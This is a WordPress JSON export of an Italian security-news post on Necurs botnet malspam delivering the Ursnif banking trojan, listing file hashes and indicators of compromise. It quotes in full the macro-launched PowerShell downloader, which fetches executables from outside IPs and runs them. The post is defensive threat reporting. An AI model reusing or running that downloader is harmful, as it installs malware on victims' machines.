{"id":56,"date":"2018-07-11T13:42:08","date_gmt":"2018-07-11T12:42:08","guid":{"rendered":"http:\/\/fortgale.com\/news\/?p=56"},"modified":"2018-07-11T13:42:08","modified_gmt":"2018-07-11T12:42:08","slug":"necurs-botnet","status":"publish","type":"post","link":"https:\/\/fortgale.com\/blog\/cyber-security-news\/necurs-botnet\/","title":{"rendered":"Necurs Botnet &amp; Trojan Bancari"},"content":{"rendered":"<p style=\"text-align: justify\">Il Team di Cisco Talos ha condiviso l&#8217;analisi della nuova ondata Malspam della Botnet Necurs (<a href=\"https:\/\/blog.talosintelligence.com\/2018\/01\/the-many-tentacles-of-necurs-botnet.html\">link<\/a>).<\/p>\n<p style=\"text-align: justify\">Quest&#8217;ultima \u00e8 sicuramente fra le botnet pi\u00f9 attive al mondo, in grado di generare\u00a0enormi quantit\u00e0 di Spam. Le mail malevole inviate contengono Ransomware e Trojan Bancari (Ursnif, Panda Banker o Emotet).<\/p>\n<p style=\"text-align: justify\">L&#8217;apertura del documento malevolo e la conseguente abilitazione del contenuto (abilitazione della Macro), avvia il processo di compromissione del sistema.<\/p>\n<p style=\"text-align: justify\">Di seguito una breve analisi del Malware bancario Ursnif:<\/p>\n<p style=\"text-align: justify\"><img decoding=\"async\" src=\"https:\/\/fortgale.com\/news\/wp-content\/uploads\/sites\/2\/2018\/07\/Screenshot-165-300x137.png\" alt=\"\" width=\"300\" height=\"137\" class=\"size-medium wp-image-58 alignleft\" style=\"font-size: 14px\" loading=\"lazy\" \/><br \/>\nL&#8217;allegato malevolo risulta essere un file doc dal nome: [NOMEAZIENDA]_Richiesta &#8211; [Cognome dipendente].doc<\/p>\n<p style=\"text-align: justify\">L&#8217;apertura del file e l&#8217;abilitazione dei contenuti permette\u00a0 l&#8217;avvio del codice malevolo, in particolare \u00e8 avviato un comando Powershell con i parametri:<\/p>\n<blockquote><p>$VeZynUhagoWemyROVeJ = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String(&#8220;aAB0AHQAcAA6AC8ALwBjAG8AZABlAHIAbwBuAGYAbwBkAGEALgBjAG8AbQAvAGIAcgBlAGUAcABpAHQAYQBsADIANwAvAHkAeQB5AGoALgBnAGUAcgA\/AHYAYQBzAHkAZwBhAHIAdQBiAD0AdwBpAHoAYQBoAG8AegBlACYAYQBhAG4AaQB4AG8AaAB1AD0AawB1AGsAJgByAGEAdABhAHgAPQBoAHkAaQB1AHMAaQBwAHUAaQBhACYAcABvAGMAYQB4AGUAbQBvAGsAPQB6AHUAJgByAGUAdwBpAHgAeQBkAGEAPQB0AGUAZAB1AHMAbwB6AGEAbQA=&#8221;));(New-Object System.Net.WebClient).DownloadFile($VeZynUhagoWemyROVeJ, $env:APPDATA + &#8216;\\valabyhuh.exe&#8217;); Start-Process $env:APPDATA&#8217;\\valabyhuh.exe&#8217;;Write-Host &#8220;bAbYgiramOpEPY&#8221;;$iARAPUmOPaJeS = New-Object System.Net.NetworkCredentia<\/p>\n<p>l(&#8220;lUpIaaKAXuqexOGybu&#8221;,&#8221;lUpIaaKAXuqexOGybu&#8221;).SecurePassword;(New-Object System.Net.WebClient).DownloadFile(&#8216;http:\/\/91.210.104.247\/porn.jpg&#8217;, $env:APPDATA + &#8216;\\stat.exe&#8217;); Write-Host &#8220;FYFopIsYpUjurof&#8221;;Start-Process $env:APPDATA&#8217;\\stat.exe&#8217;;$jOCOdeFOLUXALoNA = &#8220;nuqoLuSAwEjOdE&#8221;,&#8221;iiQOCOhERiJYsyie&#8221;,&#8221;qIhyGAtYlebimycuaUf&#8221;,&#8221;bYtURYGunUtiKe&#8221;,&#8221;pazuWeXOQoFIzIQUaUhe&#8221;;Exit;<\/p><\/blockquote>\n<p style=\"text-align: justify\">Il codice eseguito avvia il download di\u00a02 file eseguibili:<\/p>\n<ul style=\"text-align: justify\">\n<li>valabyhuh.exe\n<ul>\n<li>MD5:\u00a0 \u00a0 \u00a0 \u00a0fa37eb66b10eb030e777af9420ffce9a<\/li>\n<li>SHA1:\u00a0 \u00a0 \u00a092b86fcdb6bc0fcdbb60478e41456d5b565410ce<\/li>\n<li>SHA256:\u00a0856e8c8716fa5afac747efcd8acfe1488c703f1b8620dd567b2b7543458c5d69<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<ul style=\"text-align: justify\">\n<li>stat.exe\n<ul>\n<li>MD5:\u00a0 \u00a0 \u00a0 \u00a02ca1f87a624245db0a57bf439b71d460<\/li>\n<li>SHA1:\u00a0 \u00a0 \u00a02f6de1b66d8021b74ebcee0040b9a7c00b61d231<\/li>\n<li>SHA256:\u00a006af68780ff670177daf0d6e34918976a46f9e69787a284b8757470fb02903b3<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify\">Traffico di rete generato:<\/p>\n<p style=\"text-align: justify\"><img decoding=\"async\" src=\"https:\/\/fortgale.com\/news\/wp-content\/uploads\/sites\/2\/2018\/07\/Screenshot-166-300x35.png\" alt=\"\" width=\"771\" height=\"90\" class=\"alignnone wp-image-59\" style=\"font-size: 14px\" loading=\"lazy\" \/><\/p>\n<p style=\"text-align: justify\">Indicatori di Compromissione:<\/p>\n<ul style=\"text-align: justify\">\n<li>http:\/\/ 91.210.104.247\/emotet.txt\u00a0 (GrandSoft EK related)<\/li>\n<li>http:\/\/ 45.227.252.241\/linnealva\/kitea.dlm<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>Il Team di Cisco Talos ha condiviso l&#8217;analisi della nuova ondata Malspam della Botnet Necurs (link). Quest&#8217;ultima \u00e8 sicuramente fra le botnet pi\u00f9 attive al mondo, in grado di generare\u00a0enormi quantit\u00e0 di Spam. Le mail malevole inviate contengono Ransomware e Trojan Bancari (Ursnif, Panda Banker o Emotet). L&#8217;apertura del documento malevolo e la conseguente abilitazione [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":61,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[48,125,161,242,362,368],"class_list":["post-56","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-cyber-security-news","tag-banker","tag-emotet","tag-grandsoft","tag-necurs","tag-trojan","tag-ursnif"],"_links":{"self":[{"href":"https:\/\/fortgale.com\/blog\/wp-json\/wp\/v2\/posts\/56","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/fortgale.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/fortgale.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/fortgale.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/fortgale.com\/blog\/wp-json\/wp\/v2\/comments?post=56"}],"version-history":[{"count":0,"href":"https:\/\/fortgale.com\/blog\/wp-json\/wp\/v2\/posts\/56\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/fortgale.com\/blog\/wp-json\/"}],"wp:attachment":[{"href":"https:\/\/fortgale.com\/blog\/wp-json\/wp\/v2\/media?parent=56"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/fortgale.com\/blog\/wp-json\/wp\/v2\/categories?post=56"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/fortgale.com\/blog\/wp-json\/wp\/v2\/tags?post=56"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}